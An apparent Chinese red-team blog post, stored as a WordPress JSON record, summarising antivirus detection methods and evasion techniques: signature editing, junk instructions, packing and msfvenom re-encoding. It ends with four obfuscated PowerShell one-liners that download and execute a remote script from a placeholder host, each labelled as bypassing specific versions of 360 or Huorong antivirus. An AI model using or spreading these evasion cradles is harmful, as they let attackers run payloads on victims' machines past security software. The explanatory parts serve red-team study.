{"id":1315,"date":"2023-03-01T18:51:09","date_gmt":"2023-03-01T10:51:09","guid":{"rendered":"https:\/\/blog.langsasec.cn\/?p=1315"},"modified":"2023-03-01T18:51:09","modified_gmt":"2023-03-01T10:51:09","slug":"%e7%ba%a2%e9%98%9f%e6%94%bb%e9%98%b2%e4%b9%8b%e5%85%8d%e6%9d%80%e6%80%bb%e7%bb%93","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2023\/03\/01\/%e7%ba%a2%e9%98%9f%e6%94%bb%e9%98%b2%e4%b9%8b%e5%85%8d%e6%9d%80%e6%80%bb%e7%bb%93\/","title":{"rendered":"\u7ea2\u961f\u653b\u9632\u4e4b\u514d\u6740\u603b\u7ed3"},"content":{"rendered":"

<\/span>1\u3001\u6740\u6bd2\u539f\u7406<\/span><\/h2>\n

360\u3001\u817e\u8baf\u7535\u8111\u7ba1\u5bb6\u3001\u706b\u7ed2\u5251\u3001\u91d1\u5c71\u6bd2\u9738\u3001\u745e\u661f\u7b49\u7b49\uff0c\u8fd9\u51e0\u4e2a\u6740\u6bd2\u8f6f\u4ef6\u9886\u5934\u7f8a\uff0c\u73b0\u5728\u7684\u6740\u6bd2\u8f6f\u4ef6\u90fd\u65e0\u6cd5\u8131\u79bb\u4e09\u4e2a\u90e8\u5206\uff0c\u626b\u63cf\u5668\u3001\u75c5\u6bd2\u5e93\u3001\u865a\u62df\u673a\u3002\u7136\u800c\u4e00\u4e2a\u6740\u6bd2\u8f6f\u4ef6\u505a\u7684\u662f\u5426\u597d\u7528\uff0c\u6700\u4e3b\u8981\u7684\u8fd8\u662f\u626b\u63cf\u5668\u7684\u901f\u5ea6\u3001\u51c6\u786e\u7387\u4ee5\u53ca\u75c5\u6bd2\u5e93\u662f\u5426\u5e9e\u5927\u3002<\/p>\n

<\/span>1.1\u3001\u57fa\u4e8e\u7279\u5f81\u7801\u7684\u9759\u6001\u626b\u63cf\u6280\u672f<\/span><\/h3>\n

\u8fd9\u79cd\u6280\u672f\u5f88\u5bb9\u6613\u88ab\u4eba\u60f3\u5230\uff0c\u6240\u4ee5\u7b2c\u4e00\u4ee3\u7684\u6740\u6bd2\u8f6f\u4ef6\u51fa\u73b0\u4e86\uff0c\u4ed6\u4eec\u7684\u6740\u6bd2\u601d\u60f3\u5c31\u662f\uff0c\u6211\u53ea\u8981\u5339\u914d\u5230\u7279\u5f81\u5b57\u7b26\u4e32\u5c31\u53ef\u4ee5\u5224\u65ad\u51fa\u6765\u8fd9\u4e2a\u6587\u4ef6\u662f\u4e00\u4e2a\u75c5\u6bd2\u3002\u4f46\u8fd9\u79cd\u65b9\u6cd5\u5728\u5f53\u4eca\u75c5\u6bd2\u6280\u672f\u8fc5\u731b\u53d1\u5c55\u7684\u5f62\u52bf\u4e0b\u5df2\u7ecf\u8d77\u4e0d\u5230\u5f88\u597d\u7684\u4f5c\u7528\u4e86\u3002<\/p>\n

<\/span>1.2\u3001\u542f\u53d1\u5f0f\u626b\u63cf<\/span><\/h3>\n

\u4e3a\u4e86\u5bf9\u4ed8\u75c5\u6bd2\u7684\u4e0d\u65ad\u53d8\u5316\u548c\u5bf9\u672a\u77e5\u75c5\u6bd2\u7684\u7814\u7a76\uff0c\u542f\u53d1\u5f0f\u626b\u63cf\u65b9\u5f0f\u51fa\u73b0\u4e86\u3002\u542f\u53d1\u5f0f\u626b\u63cf\u662f\u901a\u8fc7\u5206\u6790\u6307\u4ee4\u51fa\u73b0\u7684\u987a\u5e8f\uff0c\u6216\u7279\u5b9a\u7ec4\u5408\u60c5\u51b5\u7b49\u5e38\u89c1\u75c5\u6bd2\u7684\u6807\u51c6\u7279\u5f81\u6765\u5224\u65ad\u6587\u4ef6\u662f\u5426\u611f\u67d3\u672a\u77e5\u75c5\u6bd2\u3002<\/p>\n

\u53ef\u4ee5\u6839\u636e\u626b\u63cf\u7279\u5b9a\u7684\u884c\u4e3a\u6216\u591a\u79cd\u884c\u4e3a\u7684\u7ec4\u5408\u6765\u5224\u65ad\u4e00\u4e2a\u7a0b\u5e8f\u662f\u5426\u662f\u75c5\u6bd2\u3002\u4f8b\u5982\uff0c\u5236\u5b9a\u4e00\u5957\u6253\u5206\u673a\u5236\uff0c\u5728\u7cfb\u7edf\u76ee\u5f55\u4e0b\u91ca\u653e\u6587\u4ef6\u5f9720\u5206\uff0c\u5bf9\u5206\u533a\u8fdb\u884c\u683c\u5f0f\u5316\u5f97100\u5206\uff0c\u5bf9\u542f\u52a8\u9879\u8fdb\u884c\u64cd\u4f5c\u5f9750\u5206\u7b49\uff0c\u53ea\u8981\u8bc4\u5206\u8fbe\u5230\u67d0\u4e2a\u9884\u8bbe\u503c\uff0c\u5373\u53ef\u5224\u65ad\u4e3a\u75c5\u6bd2\u6587\u4ef6\u3002<\/p>\n

<\/span>1.3\u3001\u865a\u62df\u673a\u6280\u672f<\/span><\/h3>\n

\u67e5\u6bd2\u5f15\u64ce\u4e2d\u7684\u865a\u62df\u673a\uff0c\u5e76\u4e0d\u662f\u50cf VMWare<\/code>\u7684\u5de5\u4f5c\u539f\u7406\u90a3\u6837\uff0c\u4e3a\u5f85\u67e5\u7684\u53ef\u6267\u884c\u7a0b\u5e8f\u521b\u5efa\u4e00\u4e2a\u865a\u62df\u7684\u6267\u884c\u73af\u5883\uff0c\u63d0\u4f9b\u5b83\u53ef\u80fd\u7528\u5230\u7684\u4e00\u5207\u5143\u7d20\uff0c\u5305\u62ec\u786c\u76d8\uff0c\u7aef\u53e3\u7b49\uff0c\u8ba9\u5b83\u5728\u5176\u4e0a\u81ea\u7531\u53d1\u6325\uff0c\u6700\u540e\u6839\u636e\u5176\u884c\u4e3a\u6765\u5224\u5b9a\u662f\u5426\u4e3a\u75c5\u6bd2\u3002<\/p>\n

\u8bbe\u8ba1\u865a\u62df\u673a\u67e5\u6bd2\u7684\u76ee\u7684\uff0c\u5c31\u662f\u4e3a\u4e86\u5bf9\u4ed8\u52a0\u5bc6\u53d8\u5f62\u75c5\u6bd2\uff0c\u865a\u62df\u673a\u9996\u5148\u4ece\u6587\u4ef6\u4e2d\u786e\u5b9a\u5e76\u8bfb\u53d6\u75c5\u6bd2\u5165\u53e3\u5904\u4ee3\u7801\uff0c\u7136\u540e\u4ee5\u4e0a\u8ff0\u5de5\u4f5c\u6b65\u9aa4\u89e3\u91ca\u6267\u884c\u75c5\u6bd2\u5934\u90e8\u7684\u89e3\u5bc6\u6bb5\uff08Decryptor\uff09\uff0c\u6700\u540e\u5728\u6267\u884c\u5b8c\u7684\u7ed3\u679c\uff08\u89e3\u5bc6\u540e\u7684\u75c5\u6bd2\u4f53\u660e\u6587\uff09\u4e2d\u67e5\u627e\u75c5\u6bd2\u7684\u7279\u5f81\u7801\u3002<\/p>\n

<\/span>2\u3001\u514d\u6740\u6280\u672f<\/span><\/h2>\n

<\/span>2.1\u3001\u4fee\u6539\u7279\u5f81\u7801<\/span><\/h3>\n

\u65e2\u7136\u6740\u6bd2\u8f6f\u4ef6\u5728\u6700\u5f00\u59cb\u65f6\uff0c\u4f7f\u7528\u4e86\u75c5\u6bd2\u7279\u5f81\u7801\u6982\u5ff5\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u75c5\u6bd2\u7279\u5f81\u7801\u7684\u65b9\u5f0f\u8eb2\u8fc7\u6740\u8f6f\u626b\u63cf\u3002<\/p>\n

\u7b2c\u4e00\u79cd\u662f\u66f4\u6539\u7279\u5f81\u7801\uff0c\u4f8b\u5982\uff1a\u4e00\u4e2a\u6587\u4ef6\u5728\u67d0\u4e00\u4e2a\u5730\u5740\u5185\u6709 \u201c\u7070\u9e3d\u5b50\u4e0a\u7ebf\u6210\u529f\u201d \u8fd9\u4e48\u4e00\u53e5\u8bdd\uff0c\u8868\u660e\u5b83\u5c31\u662f\u6728\u9a6c\uff0c\u53ea\u8981\u5c06\u76f8\u5e94\u5730\u5740\u5185\u7684\u90a3\u53e5\u8bdd\u6539\u6210\u522b\u7684\u5c31\u53ef\u4ee5\u4e86\u3002<\/p>\n

\u7b2c\u4e8c\u79cd\u662f\u6839\u636e\u6821\u9a8c\u548c\u67e5\u6740\u6280\u672f\u63d0\u51fa\u7684\u514d\u6740\u601d\u60f3\uff0c\u5982\u679c\u4e00\u4e2a\u6587\u4ef6\u67d0\u4e2a\u7279\u5b9a\u533a\u57df\u7684\u6821\u9a8c\u548c\u7b26\u5408\u75c5\u6bd2\u5e93\u4e2d\u7684\u7279\u5f81\uff0c\u90a3\u4e48\u53cd\u75c5\u6bd2\u8f6f\u4ef6\u5c31\u4f1a\u62a5\u8b66\u3002\u5982\u679c\u60f3\u963b\u6b62\u53cd\u75c5\u6bd2\u8f6f\u4ef6\u62a5\u8b66\uff0c\u53ea\u8981\u5bf9\u75c5\u6bd2\u7684\u7279\u5b9a\u533a\u57df\u8fdb\u884c\u4e00\u5b9a\u7684\u66f4\u6539\uff0c\u5c31\u4f1a\u4f7f\u8fd9\u4e00\u533a\u57df\u7684\u6821\u9a8c\u548c\u6539\u53d8\uff0c\u4ece\u800c\u8fbe\u5230\u6b3a\u9a97\u53cd\u75c5\u6bd2\u8f6f\u4ef6\u7684\u76ee\u7684\u3002<\/p>\n

<\/span>2.2 \u3001\u82b1\u6307\u4ee4\u514d\u6740<\/span><\/h3>\n

\u82b1\u6307\u4ee4\u514d\u6740\u662f\u6307\uff0c\u5728\u7a0b\u5e8f shellcode<\/code>\u6216\u7279\u5f81\u4ee3\u7801\u533a\u57df\u589e\u6dfb\u5783\u573e\u6307\u4ee4\uff0c\u8fd9\u4e9b\u6307\u4ee4\u6ca1\u6709\u5b9e\u9645\u542b\u4e49\uff0c\u4e0d\u4f1a\u6539\u53d8\u7a0b\u5e8f\u8fd0\u884c\u903b\u8f91\uff0c\u4f46\u53ef\u4ee5\u963b\u6b62\u53cd\u7f16\u8bd1\uff0c\u73b0\u5728\u6740\u8f6f\u5728\u68c0\u6d4b\u7279\u5f81\u7801\u65f6\uff0c\u90fd\u4f1a\u5b58\u5728\u504f\u79fb\u8303\u56f4\uff0c\u5f53\u6211\u4eec\u4f7f\u7528\u82b1\u6307\u4ee4\u5bf9\u7279\u5f81\u7801\u533a\u57df\u8fdb\u884c\u5927\u91cf\u586b\u5145\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u5b9e\u73b0\u8eb2\u907f\u6740\u8f6f\u7684\u7279\u6027\u3002<\/p>\n

<\/span>2.3\u3001\u52a0\u58f3\u514d\u6740<\/span><\/h3>\n

\u52a0\u58f3\uff0c\u7a0b\u5e8f\u52a0\u58f3\u53ef\u4ee5\u5f88\u597d\u7684\u8eb2\u907f\u5339\u914d\u7279\u5f81\u7801\u67e5\u6740\u65b9\u5f0f\uff0c\u52a0\u5bc6\u58f3\u57fa\u672c\u4e0a\u53ef\u4ee5\u628a\u7279\u5f81\u7801\u5168\u90e8\u63a9\u76d6\u3002\u8fd9\u91cc\u8bf4\u7684\u58f3\u6307\u52a0\u5bc6\u58f3\uff0c\u4e00\u4e9b\u666e\u901a\u538b\u7f29\u58f3\uff0c\u5e76\u4e0d\u80fd\u8d77\u5230\u6539\u53d8\u7279\u5f81\u7801\u7684\u6548\u679c\uff0c\u4f8b\u5982\uff1a UPX<\/code>\u3001 ASPack<\/code>\u7b49\u3002<\/p>\n

\u73b0\u5728\u6740\u8f6f\u4f1a\u5728\u68c0\u6d4b\u5230\u6587\u4ef6\u91c7\u7528\u52a0\u5bc6\u58f3\u4e4b\u540e\uff0c\u76f4\u63a5\u63d0\u9192\u7528\u6237\uff0c\u8be5\u6587\u4ef6\u5b58\u5728\u95ee\u9898\u3002\u53ef\u4ee5\u4f7f\u7528\u4e0d\u5e38\u89c1\u52a0\u5bc6\u58f3\u5bf9\u7a0b\u5e8f\u8fdb\u884c\u52a0\u58f3\uff0c\u6765\u8eb2\u907f\u6740\u8f6f\uff0c\u8be5\u65b9\u6cd5\u7406\u8bba\u53ef\u7528\uff0c\u53ea\u901a\u8fc7\u52a0\u58f3\u5b9e\u73b0\u514d\u6740\uff0c\u6210\u529f\u51e0\u7387\u5f88\u5c0f\uff0c\u73b0\u5728\u57fa\u4e8e\u865a\u62df\u673a\u6280\u672f\uff0c\u5185\u5b58\u76d1\u6d4b\u6280\u672f\u7684\u53d1\u5c55\uff0c\u901a\u8fc7\u52a0\u58f3\u65b9\u5f0f\u8fdb\u884c\u514d\u6740\u7684\u601d\u8def\u8d8a\u6765\u8d8a\u7a84\u3002<\/p>\n

<\/span>2.4\u3001 \u4e8c\u6b21\u7f16\u8bd1<\/span><\/h3>\n

msfvenom<\/code>\u63d0\u4f9b\u4e86\u591a\u79cd\u683c\u5f0f\u7684 payload<\/code>\u548c encoder<\/code>\uff0c\u751f\u6210\u7684 shellcode<\/code>\u4e5f\u4e3a\u4e8c\u6b21\u52a0\u5de5\u63d0\u4f9b\u4e86\u5f88\u5927\u4fbf\u5229\uff0c\u4f46\u662f\u4e5f\u88ab\u5404\u5927\u5382\u5546\u76ef\u5f97\u6b7b\u6b7b\u7684\u3002<\/p>\n

\u800c shikata_ga_nai<\/code>\u662f msf<\/code>\u4e2d\u552f\u4e00\u7684\u8bc4\u4ef7\u662f excellent<\/code>\u7684\u7f16\u7801\u5668\uff0c\u8fd9\u79cd\u591a\u6001\u7f16\u7801\u6280\u672f\u4f7f\u5f97\u6bcf\u6b21\u751f\u6210\u7684\u653b\u51fb\u8f7d\u8377\u6587\u4ef6\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u7f16\u7801\u548c\u89e3\u7801\u4e5f\u90fd\u662f\u4e0d\u4e00\u6837\u3002\u8fd8\u53ef\u4ee5\u5229\u7528\u7ba1\u9053\u8fdb\u884c\u591a\u91cd\u7f16\u7801\u8fdb\u884c\u514d\u6740\u3002<\/p>\n

\u76ee\u524d msfvenom<\/code>\u7684 encoder<\/code>\u7279\u5f81\u57fa\u672c\u90fd\u8fdb\u5165\u4e86\u6740\u8f6f\u7684\u6f0f\u6d1e\u5e93\u3002\u4e92\u8054\u7f51\u4e0a\u6709\u5f88\u591a\u501f\u52a9\u4e8e C\u3001C#\u3001python<\/code>\u7b49\u8bed\u8a00\u5bf9 shellcode<\/code>\u8fdb\u884c\u4e8c\u6b21\u7f16\u7801\u4ece\u800c\u8fbe\u5230\u514d\u6740\u7684\u6548\u679c\u3002<\/p>\n

<\/span>2.5\u3001Powershell \u514d\u6740<\/span><\/h3>\n

Windows PowerShell<\/code>\u662f\u4e00\u4e2a\u547d\u4ee4\u884c\u7ba1\u7406\u7a0b\u5e8f\uff0c\u76f8\u6bd4\u8f83\u4e8eCMD<\/code>\u547d\u4ee4\u884c\uff0c\u5b83\u66f4\u4e3a\u5f3a\u5927\uff0c\u540c\u65f6\uff0c\u5b83\u53c8\u662f\u4e00\u79cd\u811a\u672c\u8bed\u8a00\uff0c\u4e3a\u7cfb\u7edf\u7ba1\u7406\u8bbe\u8ba1\u3002\u5728.NET Framework<\/code>\u7684\u57fa\u7840\u4e0a\u6784\u5efa\uff0c\u7b80\u5355\u6765\u8bf4\uff0c\u53ef\u4ee5\u7c7b\u6bd4UNIX<\/code>\u7cfb\u7edf\u7684\u811a\u672c(shell)\u3002<\/p>\n

2002\u5e74\uff0c\u5fae\u8f6f\u7814\u7a76\u4e86\u4e00\u4e2a\u65b0\u7684\u4ea7\u54c1Monad<\/code>\uff0c\u57282005\u5e74\u53d1\u5e03\u7b2c\u4e00\u4e2a\u7248\u672c\uff0c\u52302006\u5e74\u88ab\u91cd\u547d\u540d\u4e3aWindows PowerShell<\/code>\uff0c\u76ee\u524d\u5fae\u8f6f\u5b98\u7f51\u6587\u6863\uff0c\u5df2\u7ecf\u66f4\u65b0\u52307.2\u7248\u672c\uff0c\u7b2c\u4e00\u6b3e\u9ed8\u8ba4\u96c6\u6210PowerShell<\/code>\u7684\u7cfb\u7edf\u7248\u672c\u662fWindows Server 2008<\/code>\u3002<\/p>\n

<\/span>2.5.1\u3001\u62c6\u5206DownloadString\u51fd\u6570<\/span><\/h4>\n
# \u62c6\u5206DownloadString\u51fd\u6570 + echo \u8fc7\u6700\u65b0\u7248\u706b\u7ed2 + 360 12.X\u7248\u672ccmd \/c echo $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http:\/\/XX.XX.XX.XX\/test.ps1'')'.Replace('123','adString');IEX ($c1+$c2) | powershell -<\/code><\/pre>\n
<\/span>2.5.2\u3001\u62c6\u5206http\u5173\u952e\u5b57<\/span><\/h4>\n
# \u62c6\u5206http\u5173\u952e\u5b57\uff0c\u8fc7360 12.X\u7248\u672cpowershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp:\/\/XX.XX.XX.XX\/test.ps1''))';IEX ($a+$b)"<\/code><\/pre>\n
<\/span>2.5.3\u3001\u4e2d\u6587\u5f15\u53f7<\/span><\/h4>\n
#\u901a\u8fc7\u4e2d\u6587\u5f15\u53f7\uff0c\u7ed5\u8fc7360 12.X\u7248\u672cpowershell "IEX ((new-object net.webclient).downloadstring('ht\u2018+\u2019tp:\/\/XX.XX.XX.XX\/test.ps1'))"<\/code><\/pre>\n
2.5.4\u3001\u66ff\u6362IEX + http\u62c6\u5206<\/p>\n
# \u66ff\u6362IEX + http\u62c6\u5206 \u7ed5\u8fc7\u6700\u65b0\u7248\u706b\u7ed2powershell "$a='123((New-Object Net.WebClient).DownloadString(''ht'.Replace('123','IEX');$b='tp:\/\/XX.XX.XX.XX\/test.ps1''))';IEX ($a+$b)"<\/code><\/pre>\n
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